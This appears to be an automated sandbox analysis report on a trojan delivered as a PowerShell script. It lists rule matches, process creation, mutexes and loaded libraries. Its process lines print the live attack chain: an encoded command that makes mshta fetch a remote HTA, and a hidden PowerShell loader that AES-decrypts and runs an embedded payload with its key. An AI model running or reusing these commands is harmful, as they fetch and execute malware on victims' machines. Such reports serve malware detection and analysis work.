Source: 00000008.00000002.1996165603.000000C000380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: Process Memory Space: powershell.exe PID: 7336, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.evad.winPS1@14/24@1/3

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0il2ydi0.us5.ps1

Jump to behavior

Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe

File opened: C:\Windows\system32\964037318f685c834d06cfa22067553aaf5b5ab6fc15b851def7dafa67127db2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 0SmartAssem.exe	String found in binary or memory: net/addrselect.go
Source: 0SmartAssem.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go
Source: 0SmartAssem.exe	String found in binary or memory: google.golang.org/grpc@v1.59.0/internal/balancerload/load.go
Source: 0SmartAssem.exe	String found in binary or memory: BLDfOLvpGE/load.go
Source: 0SmartAssem.exe	String found in binary or memory: ocated bad restart PC-thread limit stopm spinning nmidlelocked= needspinning=store64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine internal error.in-addr.arpa.unknown mode: RegSetValueExWu

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\0SmartAssem.exe "C:\Users\user\AppData\Roaming\0SmartAssem.exe"
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\0SmartAssem.exe "C:\Users\user\AppData\Roaming\0SmartAssem.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
